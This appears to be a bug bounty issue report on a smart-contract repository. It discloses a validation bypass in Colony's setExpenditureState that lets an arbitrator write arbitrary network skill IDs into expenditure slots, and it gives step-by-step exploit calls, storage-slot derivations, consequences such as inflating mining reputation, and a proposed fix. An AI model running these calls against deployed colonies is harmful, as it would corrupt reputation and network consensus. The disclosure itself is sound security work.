Bug Bounty: setExpenditureState bypasses isValidLocalSkill -- arbitrator can grant reputation in arbitrary network skills

[Tasfia-17]

Prerequisite

Confirmed this issue has not already been filed. Searched all open and closed issues for setExpenditureState, isValidLocalSkill, executeStateChange, and skills bypass -- no prior report found.

Summary

ColonyExpenditure.setExpenditureState validates _keys[1] <= 3 when writing to EXPENDITURESLOTS_SLOT (slot 26) but only requires _keys.length >= 2, not exactly 2. When an arbitrator passes _keys.length == 3 with _keys[1] == 3 (the skills dynamic array field) and _mask = [MAPPING, ARRAY, ARRAY], the executeStateChange helper traverses through the array's length slot into its data storage and writes to skills[0] directly via sstore. This completely bypasses the isValidLocalSkill() validation enforced by setExpenditureSkills, allowing an arbitrator to attach any valid network skillId -- including the network mining skill -- to an expenditure slot, granting the recipient reputation in an arbitrary skill when the payout is claimed.

Steps to Reproduce (for bugs)

Two sequential calls by an account holding Arbitration role in the expenditure's domain:

Step 1 -- set skills array length to 1 (keys.length = 2, passes existing validation):

colony.setExpenditureState(
    permissionDomainId,          // e.g. 1
    childSkillIndex,             // e.g. UINT256_MAX (root)
    expenditureId,               // target expenditure
    26,                          // EXPENDITURESLOTS_SLOT
    [false, true],               // mask: [MAPPING, ARRAY]
    [bytes32(uint256(slotIndex)), bytes32(uint256(3))],
    bytes32(uint256(1))          // writes 1 to skills.length slot
);

Step 2 -- write arbitrary skillId to skills[0] (keys.length = 3, passes existing validation because only _keys[1] is checked):

colony.setExpenditureState(
    permissionDomainId,
    childSkillIndex,
    expenditureId,
    26,                          // EXPENDITURESLOTS_SLOT
    [false, true, true],         // mask: [MAPPING, ARRAY, ARRAY]
    [bytes32(uint256(slotIndex)), bytes32(uint256(3)), bytes32(uint256(0))],
    bytes32(uint256(TARGET_SKILL_ID))  // any valid network skillId
);

The validation block (line ~300) only checks:

require(_keys.length >= 2, "colony-expenditure-bad-keys");
uint256 offset = uint256(_keys[1]);
require(offset <= 3, "colony-expenditure-bad-offset");

It does not constrain _keys.length to exactly 2.

Storage traversal in executeStateChange for Step 2 (mathematically verified):

initial slot S = keccak256(abi.encode(expenditureId, 26))

i=0  MAPPING, key=slotIndex:
     slot = keccak256(slotIndex || S)
     // base of ExpenditureSlot struct for this inner-mapping entry

i=1  ARRAY, key=3, NOT last:
     slot = 3 + slot
     slot = keccak256(slot)
     // offset 3 = skills field; keccak256 gives start of array data storage

i=2  ARRAY, key=0, IS last:
     slot = 0 + slot
     // no keccak (last entry); this IS skills[0]
     sstore(slot, TARGET_SKILL_ID)

Verification: For expenditureId=1, slotIndex=0:

• executeStateChange result: 0xf5d5d9258767fb113f452e584c3250bce8b65dc7c5342a4f2bea5d3c2431f5cd
• Solidity storage layout for expenditureSlots[1][0].skills[0]: 0xf5d5d9258767fb113f452e584c3250bce8b65dc7c5342a4f2bea5d3c2431f5cd
• MATCH: confirmed.

Expected Behavior

setExpenditureState with _storageSlot == EXPENDITURESLOTS_SLOT and offset 3 (skills field) should be restricted so that:

1. It cannot index into dynamic array elements without enforcing isValidLocalSkill() on the value being written.
2. Any skillId written via this path is subject to the same validation as setExpenditureSkills.

Current Behaviour

With _keys.length == 3, _keys[1] == 3, and _mask == [MAPPING, ARRAY, ARRAY], executeStateChange writes attacker-controlled bytes directly to expenditureSlots[id][slot].skills[0] with no skill validation.

After the two-step attack, claimExpenditurePayout executes this path:

if (slot.skills.length > 0 && slot.skills[0] > 0) {
    colonyNetworkContract.appendReputationUpdateLog(
        slot.recipient,
        int256(repPayout),
        slot.skills[0]   // <-- attacker-controlled, bypassed isValidLocalSkill
    );
}

appendReputationUpdateLog at the network level only calls skillExists(_skillId) which checks skillCount >= skillId -- it does NOT verify that the skill belongs to the colony or is a valid local skill.

Additional note: setExpenditureState uses the validExpenditure modifier (existence check only), unlike setExpenditureSkills which requires expenditureDraft. This means the attack can also be performed on an already-Finalized expenditure immediately before claiming.

Possible Solution

In the EXPENDITURESLOTS_SLOT branch of setExpenditureState, add a length check and skill validation when offset == 3:

} else if (_storageSlot == EXPENDITURESLOTS_SLOT) {
    require(_keys.length >= 2, "colony-expenditure-bad-keys");
    uint256 offset = uint256(_keys[1]);
    require(offset <= 3, "colony-expenditure-bad-offset");

    if (offset == 2) {
        require(
            int256(uint256(_value)) <= MAX_PAYOUT_MODIFIER &&
            int256(uint256(_value)) >= MIN_PAYOUT_MODIFIER,
            "colony-expenditure-bad-payout-modifier"
        );
    }

    if (offset == 3 && _keys.length == 3) {
        // Indexing into skills array -- enforce same validation as setExpenditureSkills
        require(isValidLocalSkill(uint256(_value)), "colony-not-valid-local-skill");
    } else {
        require(_keys.length == 2, "colony-expenditure-bad-keys");
    }
}

Or more simply, change >= 2 to == 2 to disallow all dynamic array indexing via setExpenditureState for this slot entirely.

Context

Severity: High

An account holding the Arbitration role -- routinely granted to domain managers, VotingReputation, MultisigPermissions, and other extensions -- can exploit this to:

1. Grant reputation in another colony's domain skills without that colony's consent, corrupting the reputation tree for external colonies.
2. Grant reputation in the network mining skill (the special skill determining weight in dispute resolution). A funded colony with an active arbitrator could pump mining reputation for a controlled address via a chain of expenditures, then use that reputation weight to win mining disputes and set a fraudulent reputation root hash -- a direct attack on network consensus.
3. Grant reputation in deprecated or restricted skills that isValidLocalSkill deliberately blocks.

This is reproducible on any deployed colony with a funded expenditure and an account holding Arbitration role.

Environment

• Contract: contracts/colony/ColonyExpenditure.sol, function setExpenditureState
• Solidity version: 0.8.28
• Branch: master / develop
• Storage slot verification: mathematically confirmed via keccak256 traversal (see Steps to Reproduce)

[rushikeshgarad2024-dev]

Security vulnerability fix implemented and submitted in PR #1347 with strict isValidLocalSkill check and key length bounds enforcement.